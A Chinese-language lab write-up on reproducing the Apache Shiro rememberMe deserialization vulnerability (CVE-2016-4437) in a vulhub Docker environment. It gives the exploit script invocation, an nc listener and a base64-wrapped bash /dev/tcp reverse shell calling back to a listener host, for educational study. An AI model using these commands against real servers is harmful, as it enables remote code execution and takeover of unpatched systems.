漏洞描述
Apache Shiro是一個Java安全框架,執行身份驗證、授權、密碼和會話管理。只要rememberMe的AES加密密鑰泄露,無論shiro是什么版本都會導致反序列化漏洞。
漏洞原理
Apache Shiro框架提供了記住我(RememberMe)的功能,關閉了瀏覽器下次再打開時還是能記住你是誰,下次訪問時無需再登錄即可訪問。
Shiro對rememberMe的cookie做了加密處理,shiro在CookieRememberMeManaer類中將cookie中rememberMe字段內容分別進行序列化、AES加密、Base64編碼操作。
在識別身份的時候,需要對Cookie里的rememberMe字段解密。根據加密的順序,不難知道解密的順序為:
- 獲取rememberMe cookie
- base64 decode
- 解密AES(加密密鑰硬編碼)
- 反序列化(未作過濾處理)
但是,AES加密的密鑰Key被硬編碼在代碼里,意味着每個人通過源代碼都能拿到AES加密的密鑰。因此,攻擊者構造一個惡意的對象,並且對其序列化,AES加密,base64編碼后,作為cookie的rememberMe字段發送。Shiro將rememberMe進行解密並且反序列化,最終造成反序列化漏洞。
漏洞復現
1、進入vulhub-master/shiro/CVE-2016-4437目錄下
2、docker環境啟動
docker-compose up -d
3、瀏覽器訪問http://192.168.2.147:8080
4、使用Shiro_exploit的poc進行漏洞利用
python3 shiro_exploit.py -t 3 -u http://192.168.2.147:8080 -p "touch a.txt"
5、成功在服務器創建a.txt文件
利用nc反彈shell
通過Runtime.getRuntime().exec()執行命令的有效負載有時會失敗。使用WebShell,反序列化漏洞或通過其他媒介時,可能會發生這種情況。
這是因為重定向和管道字符的使用方式在啟動過程的上下文中沒有意義。例如,在shell中執行ls > dir_listing會將當前目錄的列表輸出到名為dir_listing的文件中。但是在exec()函數的上下文中,該命令將被解釋為獲取>和dir_listing目錄的列表。
有時,StringTokenizer類會破壞其中包含空格的參數,該類將命令字符串按空格分隔。諸如ls "My Directory" 之類的東西將被解釋為ls '"My' 'Directory"'。
借助Base64編碼,下面的轉換器可以幫助減少這些問題。它可以通過調用Bash或PowerShell來制作管道並重新定向,還可以確保參數內沒有空格。
Runtime.getRuntime().exec()函數解決
1、客戶端監聽666端口
nc -lvp 666
2、加密反彈shell
bash -i >& /dev/tcp/192.168.2.130/6666 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
3、使用Shiro_exploit的poc漏洞執行反彈shell名
python3 shiro_exploit.py -t 3 -u http://192.168.2.147:8080 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMTMwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"
4、反彈成功
POC
漏洞腳本地址:Shiro_exploit
漏洞修復
apache shiro命令執行流量分析
參考鏈接
https://www.cnblogs.com/loong-hon/p/10619616.html
https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/
https://mp.weixin.qq.com/s/8F5tmbJsE0SshrYK-fRl-g
免責聲明
嚴禁讀者利用以上介紹知識點對網站進行非法操作 , 本文僅用於技術交流和學習 , 如果您利用文章中介紹的知識對他人造成損失 , 后果由您自行承擔 , 如果您不能同意該約定 , 請您務必不要閱讀該文章 , 感謝您的配合 !